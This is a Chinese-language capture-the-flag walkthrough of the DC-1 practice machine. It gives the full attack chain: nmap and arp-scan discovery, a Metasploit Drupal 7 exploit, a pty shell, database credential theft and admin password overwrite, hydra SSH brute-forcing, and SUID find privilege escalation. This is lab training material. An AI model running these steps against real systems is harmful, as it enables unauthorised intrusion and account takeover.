一、搭建环境
解压靶机得到一个.ova文件
利用虚拟机打开文件,将网卡设置成NAT模式,启动虚拟机
二、渗透过程
信息收集
打开DC-1,需要登录账号和密码
打开kali虚拟机,将kali网卡设置成NAT(与DC-1在同一网段上)
利用nmap扫描DC-1的IP地址
nmap -sP 192.168.XX.0/24
在利用arp-scan 进行扫描
arp-scan -l -I eth1
#-l 会扫描当前网络 -I 会扫描指定接口名称的网络(如果只有一个网卡可以不跟此参数)
此时发现DC-1靶机IP为192.168.88.164
利用nmap对DC-1进行端口扫描,发现开放了80、22端口,
nmap -sV -P 192.168.XXX.XXX
那么直接访问80,发现需要登录名和密码
看见网页CMS是Drupal,在用插件查看网站信息
CMS:Drupal 7、PHP:5.4.45、Apache:2.2.22、OS:Debian
漏洞查找
使用工具Metasploit查找CMS为drupal 7的漏洞
漏洞利用
使用上面的exp,输入use 0 ,查看exp的具体配置信息
看到RHOST提示yes需要配置,配置为DC-1的IP地址:set rhosts 192.168.88.164
run一下,等一会,在输入shell,制作反弹shell就好了
这个命令行不是太好用,可以使用python获取交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看到目录下面有一个flag1,查看文件(每一个CMS都有一个配置文件,你也一样),提示我们需要去找配置文件
最后在sites/default路径下找到文件名为settings.php的就是配置文件,看到flag2、数据库用户密码信息
看到数据库只能本地连接,尝试连接数据库,成功连入数据库,查看库和表
mysql -udbuser -pR0ck3t;
show databases;
use drupaldb;
show tables;
根据前面网页需要登录名和密码,那就在数据库里面找找用户和密码,但是看到密码应该是被加密了
select * from users;
想办法修改成我们知道的密码,那么就需要找到加密文件,然后利用加密文件生成我们知道的密码,在修改数据库admin用户密码
回到网站根目录输入下面命令得到加密后的hash值,拷贝hash到数据库进行修改
php /var/www/scripts/password-hash.sh 123456
进入数据库,修改密码
update users set pass="$S$D1ZElyzg2fav6dLROoZ90cRqIhikMO282lHI7kxpuM/t2/kGxOyc" where uid=1;
拿着admin和123456去网站登录,成功登录
在网页上查找到flag3
根据flag3提示passwd和shadow,那么查看这两个文件,passwd下面有一个flag4用户并且有/bin/bash,而shadow文件提示权限不够
那么查看/home下面确实有一个flag4用户,目录下面有个flag4.txt文件,看到提示root
再尝试find查找一下系统里面的flag,看到root下面有个thefinalflag.txt文件,此时为网页用户权限,发现权限不够,需要提权,就用flag4用户进行提权
find / -name "*flag*.txt" 2>/dev/null
此时想到前面扫描出来一个22端口,通过使用hydra进行爆破,爆出密码orange,尝试ssh登录
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.88.164
需要用到SUID提权,利用find命令找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
看到find就可以,直接提权,查看root文件,拿到最后flag
find -exec /bin/sh \;